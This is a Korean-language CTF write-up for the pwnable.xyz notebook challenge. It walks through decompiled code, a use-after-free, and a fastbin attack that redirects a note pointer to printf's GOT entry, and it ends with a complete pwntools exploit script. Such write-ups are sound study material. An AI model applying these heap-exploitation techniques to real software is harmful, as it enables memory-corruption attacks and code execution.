1. 문제
1) mitigation 확인
PIE가 안걸려있다. GoT 오버라이트가 오랜만에 가능할듯
2) 문제 확인
1번 메뉴로 노트를 생성할수 있다. 2번으로는 현재 노트를 선택할 수 있고, 3번으로 현재 선택된 노트에 내용을 작성할수 있다. 4번으로는 현재 노트를 삭제할 수 있다.
3) 코드 확인
- main() 함수
int __cdecl main(int argc, const char **argv, const char **envp) { int running; // [rsp+8h] [rbp-8h] running = 1; setup(); show_banner(); init_first_note(); LABEL_8: while ( running ) { show_menu(); printf("> "); switch ( (unsigned __int64)(unsigned int)get_int() ) { case 1uLL: create_notes(); break; case 2uLL: select_note(); break; case 3uLL: edit_selected_note(); break; case 4uLL: delete_selected_note(); break; case 5uLL: running = 0; break; default: goto LABEL_8; } } puts("Bye..."); return 0; }
초기에 init_first_note() 함수가 호출되면서 초기화를 거친다. 초기화 내용으로는, bss영역에 존재하는 FirstNote 구조체에 초기화가 진행된다. 해당 구조체는 다음과 같이 생겼다.
연결리스트로 연결된다는 것을 알수있다. 초기화 과정에서는 Data를 작성할 청크를 힙에서 할당받고, index에 0을 넣게된다. create_note함수부터 살펴보자.
- create_notes() 함수
void __cdecl create_notes() { int i; // [rsp+0h] [rbp-10h] int count; // [rsp+4h] [rbp-Ch] Note *lastNote; // [rsp+8h] [rbp-8h] printf("How many notes do you want to create: "); count = get_int(); if ( count + NoteCount > 199 ) { puts("Not enough space left in your notebook..."); } else { for ( lastNote = (Note *)&FirstNote; lastNote->Next; lastNote = lastNote->Next ) ; for ( i = 0; i < count; ++i ) { lastNote->Next = (Note *)malloc(0x50uLL); lastNote = lastNote->Next; init_note(lastNote); } } }
노트의 개수는 최대 199개까지 생성가능하다. for문을 돌면서 연결리스트의 마지막 노드를 찾아 해당 위치에 노트를 할당받는다. 그리고 할당받은 노드를 init_note() 함수를 이용하여 초기화를 진행한다. 해당 초기화 과정에서는 전에말한 것처럼, 입력받을 노트공간을 위한 힙 영역 주소와, 현재 인덱스를 저장한다.
- edit_note() 함수
void __cdecl edit_selected_note() { Note *note; // [rsp+8h] [rbp-8h] if ( CurrentNote == -1 ) { puts("Please select a note first..."); } else { note = find_note(CurrentNote); printf("Enter content for note %d: ", CurrentNote); fgets(note->Data, 0x60, _bss_start); } }
해당 함수는 CurrentNote에 등록되어있는 노트의 Data 영역에 값을 쓸수 있다.
- delete_notes() 함수
void __cdecl delete_selected_note() { Note *note; // [rsp+8h] [rbp-8h] if ( CurrentNote == -1 ) { puts("Please select a valid note first..."); } else { note = find_note(CurrentNote); if ( note ) { free(note->Data); free(note); CurrentNote = -1LL; --NoteCount; } } }
CurentNote가 가리키는 note를 free시킨다. 순서는 Data 필드를 먼저 free시킨뒤, note 청크를 free시킨다. 그러고 나서, 현재 노트 개수를 하나 감소시킨다.
2. 접근방법
현재 노트를 2개 생성하고 인덱스 2, 1 순서대로 deleteNote() 함수를 이용하여 free를 시켰다. 현재 0x60 사이즈 청크는 노트 구조체를 위한 청크이고, 0x70 사이즈 청크는 note 구조체의 Data 영역을 위한 청크이다.
free를 시켜도, 해당 노트를 2번 메뉴를 통하여 선택할 수 있고, 3번메뉴로 Data 영역에 값을 쓸수 있다.
현재 메모리를 보면 인덱스 2번의 Data 필드의 주소가 0x6031b0이다. 하지만 해당 영역은 free된 청크이므로 만약 인덱스 2번 노트를 선택하여 edit함수를 호출한다면, freed된 청크의 fd에 값이 써질것이고 fastbin은 다음과 같이 변경될 것이다.
한마디로 UAF를 이용하여 fastbin을 조져서 원하는 청크를 재할당 받을 수 있다. 그렇다면 취약점을 이용하여 win함수를 어떻게 호출하면 좋을지 생각해봐야한다.
우선 leak을 통해 free_hook이나 malloc_hook을 덮을수 있는지 찾아봤지만, leak을 할수 있는 벡터가 없었다. 그렇다면, note→Date 영역의 주소를 got주소로 만들고, edit() 함수를 이용하여 해당 영역에 win함수 주소를 넣어야 한다.
우리는 create_notes() 함수를 이용하여 최대 199개의 노트까지 만들수 있다. select 된 노트 인덱스는 bss영역인 0x6022A0 → CurrentNote 변수에 들어간다. 그렇다면, 노트개수를 0x71로 만들면 해당 변수영역을 fastbin attack을 이용하여 할당 받을 수 있다.
현재 노트를 2개 만들고 select함수를 이용해 2번 노트를 선택한 상황이다. 저 부분을 2가 아닌 0x71로 만들고, (create_Notes(0x71)) fastbin attack을 이용하여 currentNote-8 영역을 재할당 받게 한다. 재할당 받게 된다면, 해당 노트의 인덱스는 0x72이다.
따라서, select_note(0x72)을 한뒤, edit을 이용하여 FirstNote→Data 영역의 주소를 printf_got로 변경한다.
마지막으로 해당 영역은 0번 인덱스이므로, select(0)을 한다음 edit_함수를 호출하면, printf_got에 값을 쓸수 있고, 거기에 win함수주소를 넣으면 끝이다.
3. 풀이
최종익스코드는 다음과 같다
from pwn import *
#p=remote("svc.pwnable.xyz",30046)
context(log_level="DEBUG")
p=process("./challenge")
gdb.attach(p,'code\nb *0xCC8+$code\n')
e=ELF("./challenge")
def create(count):
p.sendlineafter("> ","1")
p.sendlineafter("create: ",str(count))
def select(select):
p.sendlineafter("> ","2")
p.sendlineafter("select: ",str(select))
def edit(content):
p.sendlineafter("> ","3")
p.sendlineafter(": ",str(content))
def delete():
p.sendlineafter("> ","4")
create(0x71)
select(0x71)
delete()
select(0x71)
edit(p64(0x602298))
create(2)
select(0x72)
edit(p64(0)*5+p64(e.got['printf']))
select(0)
edit(p64(0x400DDD))
p.interactive()
4. 몰랐던 개념
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] AdultVM2 (0) | 2020.06.16 |
---|---|
[pwnable.xyz] AdultVM (0) | 2020.06.15 |
[pwnable.xyz] fishing (0) | 2020.06.09 |
[pwnable.xyz] BabyVM (0) | 2020.06.03 |
[pwnable.xyz] Knum (0) | 2020.05.31 |